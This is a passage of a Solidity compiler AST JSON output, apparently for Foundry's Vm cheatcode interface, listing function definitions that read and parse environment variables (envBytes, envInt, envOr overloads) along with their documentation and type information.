12242,"nodeType":"FunctionDefinition","src":"8997:112:13","nodes":[],"documentation":{"id":12232,"nodeType":"StructuredDocumentation","src":"8820:172:13","text":"Gets the environment variable `name` and parses it as an array of `bytes32`, delimited by `delim`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"5af231c1","implemented":false,"kind":"function","modifiers":[],"name":"envBytes32","nameLocation":"9006:10:13","parameters":{"id":12237,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12234,"mutability":"mutable","name":"name","nameLocation":"9033:4:13","nodeType":"VariableDeclaration","scope":12242,"src":"9017:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12233,"name":"string","nodeType":"ElementaryTypeName","src":"9017:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12236,"mutability":"mutable","name":"delim","nameLocation":"9055:5:13","nodeType":"VariableDeclaration","scope":12242,"src":"9039:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12235,"name":"string","nodeType":"ElementaryTypeName","src":"9039:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9016:45:13"},"returnParameters":{"id":12241,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12240,"mutability":"mutable","name":"value","nameLocation":"9102:5:13","nodeType":"VariableDeclaration","scope":12242,"src":"9085:22:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":12238,"name":"bytes32","nodeType":"ElementaryTypeName","src":"9085:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":12239,"nodeType":"ArrayTypeName","src":"9085:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"9084:24:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12250,"nodeType":"FunctionDefinition","src":"9256:83:13","nodes":[],"documentation":{"id":12243,"nodeType":"StructuredDocumentation","src":"9115:136:13","text":"Gets the environment variable `name` and parses it as `bytes`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"4d7baf06","implemented":false,"kind":"function","modifiers":[],"name":"envBytes","nameLocation":"9265:8:13","parameters":{"id":12246,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12245,"mutability":"mutable","name":"name","nameLocation":"9290:4:13","nodeType":"VariableDeclaration","scope":12250,"src":"9274:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12244,"name":"string","nodeType":"ElementaryTypeName","src":"9274:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9273:22:13"},"returnParameters":{"id":12249,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12248,"mutability":"mutable","name":"value","nameLocation":"9332:5:13","nodeType":"VariableDeclaration","scope":12250,"src":"9319:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":12247,"name":"bytes","nodeType":"ElementaryTypeName","src":"9319:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"9318:20:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12261,"nodeType":"FunctionDefinition","src":"9520:108:13","nodes":[],"documentation":{"id":12251,"nodeType":"StructuredDocumentation","src":"9345:170:13","text":"Gets the environment variable `name` and parses it as an array of `bytes`, delimited by `delim`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"ddc2651b","implemented":false,"kind":"function","modifiers":[],"name":"envBytes","nameLocation":"9529:8:13","parameters":{"id":12256,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12253,"mutability":"mutable","name":"name","nameLocation":"9554:4:13","nodeType":"VariableDeclaration","scope":12261,"src":"9538:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12252,"name":"string","nodeType":"ElementaryTypeName","src":"9538:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12255,"mutability":"mutable","name":"delim","nameLocation":"9576:5:13","nodeType":"VariableDeclaration","scope":12261,"src":"9560:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12254,"name":"string","nodeType":"ElementaryTypeName","src":"9560:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9537:45:13"},"returnParameters":{"id":12260,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12259,"mutability":"mutable","name":"value","nameLocation":"9621:5:13","nodeType":"VariableDeclaration","scope":12261,"src":"9606:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":12257,"name":"bytes","nodeType":"ElementaryTypeName","src":"9606:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":12258,"nodeType":"ArrayTypeName","src":"9606:7:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"9605:22:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12269,"nodeType":"FunctionDefinition","src":"9776:75:13","nodes":[],"documentation":{"id":12262,"nodeType":"StructuredDocumentation","src":"9634:137:13","text":"Gets the environment variable `name` and parses it as `int256`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"892a0c61","implemented":false,"kind":"function","modifiers":[],"name":"envInt","nameLocation":"9785:6:13","parameters":{"id":12265,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12264,"mutability":"mutable","name":"name","nameLocation":"9808:4:13","nodeType":"VariableDeclaration","scope":12269,"src":"9792:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12263,"name":"string","nodeType":"ElementaryTypeName","src":"9792:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9791:22:13"},"returnParameters":{"id":12268,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12267,"mutability":"mutable","name":"value","nameLocation":"9844:5:13","nodeType":"VariableDeclaration","scope":12269,"src":"9837:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":12266,"name":"int256","nodeType":"ElementaryTypeName","src":"9837:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"9836:14:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12280,"nodeType":"FunctionDefinition","src":"10033:107:13","nodes":[],"documentation":{"id":12270,"nodeType":"StructuredDocumentation","src":"9857:171:13","text":"Gets the environment variable `name` and parses it as an array of `int256`, delimited by `delim`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"42181150","implemented":false,"kind":"function","modifiers":[],"name":"envInt","nameLocation":"10042:6:13","parameters":{"id":12275,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12272,"mutability":"mutable","name":"name","nameLocation":"10065:4:13","nodeType":"VariableDeclaration","scope":12280,"src":"10049:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12271,"name":"string","nodeType":"ElementaryTypeName","src":"10049:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12274,"mutability":"mutable","name":"delim","nameLocation":"10087:5:13","nodeType":"VariableDeclaration","scope":12280,"src":"10071:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12273,"name":"string","nodeType":"ElementaryTypeName","src":"10071:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"10048:45:13"},"returnParameters":{"id":12279,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12278,"mutability":"mutable","name":"value","nameLocation":"10133:5:13","nodeType":"VariableDeclaration","scope":12280,"src":"10117:21:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_memory_ptr","typeString":"int256[]"},"typeName":{"baseType":{"id":12276,"name":"int256","nodeType":"ElementaryTypeName","src":"10117:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":12277,"nodeType":"ArrayTypeName","src":"10117:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_storage_ptr","typeString":"int256[]"}},"visibility":"internal"}],"src":"10116:23:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12290,"nodeType":"FunctionDefinition","src":"10331:91:13","nodes":[],"documentation":{"id":12281,"nodeType":"StructuredDocumentation","src":"10146:180:13","text":"Gets the environment variable `name` and parses it as `bool`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"4777f3cf","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"10340:5:13","parameters":{"id":12286,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12283,"mutability":"mutable","name":"name","nameLocation":"10362:4:13","nodeType":"VariableDeclaration","scope":12290,"src":"10346:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12282,"name":"string","nodeType":"ElementaryTypeName","src":"10346:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12285,"mutability":"mutable","name":"defaultValue","nameLocation":"10373:12:13","nodeType":"VariableDeclaration","scope":12290,"src":"10368:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12284,"name":"bool","nodeType":"ElementaryTypeName","src":"10368:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"10345:41:13"},"returnParameters":{"id":12289,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12288,"mutability":"mutable","name":"value","nameLocation":"10415:5:13","nodeType":"VariableDeclaration","scope":12290,"src":"10410:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12287,"name":"bool","nodeType":"ElementaryTypeName","src":"10410:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"10409:12:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12300,"nodeType":"FunctionDefinition","src":"10616:97:13","nodes":[],"documentation":{"id":12291,"nodeType":"StructuredDocumentation","src":"10428:183:13","text":"Gets the environment variable `name` and parses it as `uint256`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"5e97348f","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"10625:5:13","parameters":{"id":12296,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12293,"mutability":"mutable","name":"name","nameLocation":"10647:4:13","nodeType":"VariableDeclaration","scope":12300,"src":"10631:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12292,"name":"string","nodeType":"ElementaryTypeName","src":"10631:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12295,"mutability":"mutable","name":"defaultValue","nameLocation":"10661:12:13","nodeType":"VariableDeclaration","scope":12300,"src":"10653:20:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12294,"name":"uint256","nodeType":"ElementaryTypeName","src":"10653:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"10630:44:13"},"returnParameters":{"id":12299,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12298,"mutability":"mutable","name":"value","nameLocation":"10706:5:13","nodeType":"VariableDeclaration","scope":12300,"src":"10698:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12297,"name":"uint256","nodeType":"ElementaryTypeName","src":"10698:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"10697:15:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12314,"nodeType":"FunctionDefinition","src":"10941:164:13","nodes":[],"documentation":{"id":12301,"nodeType":"StructuredDocumentation","src":"10719:217:13","text":"Gets the environment variable `name` and parses it as an array of `address`, delimited by `delim`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"c74e9deb","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"10950:5:13","parameters":{"id":12309,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12303,"mutability":"mutable","name":"name","nameLocation":"10972:4:13","nodeType":"VariableDeclaration","scope":12314,"src":"10956:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12302,"name":"string","nodeType":"ElementaryTypeName","src":"10956:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12305,"mutability":"mutable","name":"delim","nameLocation":"10994:5:13","nodeType":"VariableDeclaration","scope":12314,"src":"10978:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12304,"name":"string","nodeType":"ElementaryTypeName","src":"10978:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12308,"mutability":"mutable","name":"defaultValue","nameLocation":"11020:12:13","nodeType":"VariableDeclaration","scope":12314,"src":"11001:31:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_calldata_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":12306,"name":"address","nodeType":"ElementaryTypeName","src":"11001:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":12307,"nodeType":"ArrayTypeName","src":"11001:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"10955:78:13"},"returnParameters":{"id":12313,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12312,"mutability":"mutable","name":"value","nameLocation":"11098:5:13","nodeType":"VariableDeclaration","scope":12314,"src":"11081:22:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":12310,"name":"address","nodeType":"ElementaryTypeName","src":"11081:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":12311,"nodeType":"ArrayTypeName","src":"11081:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"11080:24:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12328,"nodeType":"FunctionDefinition","src":"11333:164:13","nodes":[],"documentation":{"id":12315,"nodeType":"StructuredDocumentation","src":"11111:217:13","text":"Gets the environment variable `name` and parses it as an array of `bytes32`, delimited by `delim`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"2281f367","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"11342:5:13","parameters":{"id":12323,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12317,"mutability":"mutable","name":"name","nameLocation":"11364:4:13","nodeType":"VariableDeclaration","scope":12328,"src":"11348:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12316,"name":"string","nodeType":"ElementaryTypeName","src":"11348:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12319,"mutability":"mutable","name":"delim","nameLocation":"11386:5:13","nodeType":"VariableDeclaration","scope":12328,"src":"11370:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12318,"name":"string","nodeType":"ElementaryTypeName","src":"11370:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12322,"mutability":"mutable","name":"defaultValue","nameLocation":"11412:12:13","nodeType":"VariableDeclaration","scope":12328,"src":"11393:31:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_calldata_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":12320,"name":"bytes32","nodeType":"ElementaryTypeName","src":"11393:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":12321,"nodeType":"ArrayTypeName","src":"11393:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"11347:78:13"},"returnParameters":{"id":12327,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12326,"mutability":"mutable","name":"value","nameLocation":"11490:5:13","nodeType":"VariableDeclaration","scope":12328,"src":"11473:22:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":12324,"name":"bytes32","nodeType":"ElementaryTypeName","src":"11473:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":12325,"nodeType":"ArrayTypeName","src":"11473:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"11472:24:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12342,"nodeType":"FunctionDefinition","src":"11724:162:13","nodes":[],"documentation":{"id":12329,"nodeType":"StructuredDocumentation","src":"11503:216:13","text":"Gets the environment variable `name` and parses it as an array of `string`, delimited by `delim`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"859216bc","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"11733:5:13","parameters":{"id":12337,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12331,"mutability":"mutable","name":"name","nameLocation":"11755:4:13","nodeType":"VariableDeclaration","scope":12342,"src":"11739:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12330,"name":"string","nodeType":"ElementaryTypeName","src":"11739:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12333,"mutability":"mutable","name":"delim","nameLocation":"11777:5:13","nodeType":"VariableDeclaration","scope":12342,"src":"11761:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12332,"name":"string","nodeType":"ElementaryTypeName","src":"11761:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12336,"mutability":"mutable","name":"defaultValue","nameLocation":"11802:12:13","nodeType":"VariableDeclaration","scope":12342,"src":"11784:30:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_string_calldata_ptr_$dyn_calldata_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":12334,"name":"string","nodeType":"ElementaryTypeName","src":"11784:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":12335,"nodeType":"ArrayTypeName","src":"11784:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"11738:77:13"},"returnParameters":{"id":12341,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12340,"mutability":"mutable","name":"value","nameLocation":"11879:5:13","nodeType":"VariableDeclaration","scope":12342,"src":"11863:21:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":12338,"name":"string","nodeType":"ElementaryTypeName","src":"11863:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":12339,"nodeType":"ArrayTypeName","src":"11863:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"11862:23:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12356,"nodeType":"FunctionDefinition","src":"12112:160:13","nodes":[],"documentation":{"id":12343,"nodeType":"StructuredDocumentation","src":"11892:215:13","text":"Gets the environment variable `name` and parses it as an array of `bytes`, delimited by `delim`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"64bc3e64","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"12121:5:13","parameters":{"id":12351,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12345,"mutability":"mutable","name":"name","nameLocation":"12143:4:13","nodeType":"VariableDeclaration","scope":12356,"src":"12127:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12344,"name":"string","nodeType":"ElementaryTypeName","src":"12127:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12347,"mutability":"mutable","name":"delim","nameLocation":"12165:5:13","nodeType":"VariableDeclaration","scope":12356,"src":"12149:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12346,"name":"string","nodeType":"ElementaryTypeName","src":"12149:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12350,"mutability":"mutable","name":"defaultValue","nameLocation":"12189:12:13","nodeType":"VariableDeclaration","scope":12356,"src":"12172:29:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_calldata_ptr_$dyn_calldata_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":12348,"name":"bytes","nodeType":"ElementaryTypeName","src":"12172:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":12349,"nodeType":"ArrayTypeName","src":"12172:7:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"12126:76:13"},"returnParameters":{"id":12355,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12354,"mutability":"mutable","name":"value","nameLocation":"12265:5:13","nodeType":"VariableDeclaration","scope":12356,"src":"12250:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":12352,"name":"bytes","nodeType":"ElementaryTypeName","src":"12250:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":12353,"nodeType":"ArrayTypeName","src":"12250:7:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"12249:22:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12366,"nodeType":"FunctionDefinition","src":"12465:95:13","nodes":[],"documentation":{"id":12357,"nodeType":"StructuredDocumentation","src":"12278:182:13","text":"Gets the environment variable `name` and parses it as `int256`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"bbcb713e","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"12474:5:13","parameters":{"id":12362,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12359,"mutability":"mutable","name":"name","nameLocation":"12496:4:13","nodeType":"VariableDeclaration","scope":12366,"src":"12480:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12358,"name":"string","nodeType":"ElementaryTypeName","src":"12480:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12361,"mutability":"mutable","name":"defaultValue","nameLocation":"12509:12:13","nodeType":"VariableDeclaration","scope":12366,"src":"12502:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":12360,"name":"int256","nodeType":"ElementaryTypeName","src":"12502:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"12479:43:13"},"returnParameters":{"id":12365,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12364,"mutability":"mutable","name":"value","nameLocation":"12553:5:13","nodeType":"VariableDeclaration","scope":12366,"src":"12546:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":12363,"name":"int256","nodeType":"ElementaryTypeName","src":"12546:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"12545:14:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12376,"nodeType":"FunctionDefinition","src":"12754:97:13","nodes":[],"documentation":{"id":12367,"nodeType":"StructuredDocumentation","src":"12566:183:13","text":"Gets the environment variable `name` and parses it as `address`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"561fe540","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"12763:5:13","parameters":{"id":12372,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12369,"mutability":"mutable","name":"name","nameLocation":"12785:4:13","nodeType":"VariableDeclaration","scope":12376,"src":"12769:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12368,"name":"string","nodeType":"ElementaryTypeName","src":"12769:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12371,"mutability":"mutable","name":"defaultValue","nameLocation":"12799:12:13","nodeType":"VariableDeclaration","scope":12376,"src":"12791:20:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12370,"name":"address","nodeType":"ElementaryTypeName","src":"12791:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"12768:44:13"},"returnParameters":{"id":12375,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12374,"mutability":"mutable","name":"value","nameLocation":"12844:5:13","nodeType":"VariableDeclaration","scope":12376,"src":"12836:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12373,"name":"address","nodeType":"ElementaryTypeName","src":"12836:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"12835:15:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12386,"nodeType":"FunctionDefinition","src":"13045:97:13","nodes":[],"documentation":{"id":12377,"nodeType":"StructuredDocumentation","src":"12857:183:13","text":"Gets the environment variable `name` and parses it as `bytes32`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not 